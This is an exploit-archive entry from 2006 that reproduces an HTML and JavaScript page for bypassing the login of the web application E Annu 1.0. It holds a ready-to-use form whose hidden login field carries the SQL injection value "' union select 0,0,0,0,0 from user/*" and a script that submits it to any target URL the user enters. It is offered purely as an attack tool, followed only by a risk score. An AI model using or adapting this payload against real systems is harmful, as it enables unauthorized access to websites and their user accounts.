E Annu 1.0 Login Bypass SQL Injection Exploit

🗓️ 31 Oct 2006 00:00:00Reported by RootType
E Annu 1.0 Login Bypass SQL Injectio

                                                &lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=windows-1254&quot;&gt;
&lt;title&gt;E Annu 1.0 Login Bypass SQL Injection Exploit&lt;/title&gt;

&lt;script language=&quot;JavaScript&quot;&gt;
 
//'===============================================================================================
//'[Script Name: E Annu 1.0 Login Bypass SQL Injection Exploit
//'[Coded by   : ajann
//'[Author   : ajann
//'[Contact    : :(
//'[Using : Write Target after Submit Click
//'===============================================================================================
   

     //Basic exploit,but any time : ( 

function command(){
       if (document.sql.login.value==&quot;&quot;){
          alert(&quot;Failed..&quot;);
      return false;
    }


  
  sql.action= document.sql.target1.value // Ready Target : )
  sql.submit(); // Form Submit
   }
&lt;/script&gt;

&lt;/head&gt;

&lt;body bgcolor=&quot;#000000&quot;&gt;
&lt;center&gt;
&lt;p&gt;&lt;b&gt;&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#008000&quot;&gt;E Annu 1.0 Login Bypass SQL Injection&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;form method=&quot;post&quot; name=&quot;sql&quot; onSubmit=&quot;command();&quot;&gt;
    &lt;b&gt;&lt;font face=&quot;Arial&quot; size=&quot;1&quot; color=&quot;#FF0000&quot;&gt;Target:&lt;/font&gt;&lt;font face=&quot;Arial&quot; size=&quot;1&quot; color=&quot;#808080&quot;&gt;[http://[target]/[scriptpath]&lt;/font&gt;&lt;font color=&quot;#00FF00&quot; size=&quot;2&quot; face=&quot;Arial&quot;&gt;
  &lt;/font&gt;&lt;font color=&quot;#FF0000&quot; size=&quot;2&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/b&gt;

  &lt;input type=&quot;hidden&quot; name=&quot;login&quot; value=&quot;' union select 0,0,0,0,0 from user/*&quot; onmouseout=&quot;javascript:this.style.background='#808000';&quot;&gt;&lt;/p&gt;
&lt;input type=&quot;hidden&quot; name=&quot;password&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;action_connect&quot;&gt;
&lt;br&gt;
 &lt;input type=&quot;text&quot; name=&quot;target1&quot; size=&quot;20&quot; style=&quot;background-color: #808000&quot; onmouseover=&quot;javascript:this.style.background='#808080';&quot; onmouseout=&quot;javascript:this.style.background='#808000';&quot;&gt;

  &lt;p&gt;&lt;input type=&quot;submit&quot; value=&quot;G&amp;ouml;nder&quot; name=&quot;B1&quot;&gt;&lt;input type=&quot;reset&quot; value=&quot;Sifirla&quot; name=&quot;B2&quot;&gt;&lt;/p&gt;
&lt;/form&gt;
&lt;p&gt;&lt;br&gt;
&lt;/p&gt;
&lt;b&gt;&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#008000&quot;&gt;ajann&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;/center&gt;
&lt;/body&gt;

&lt;/html&gt;
31 Oct 2006 00:00Current
7.1High risk
Vulners AI Score7.1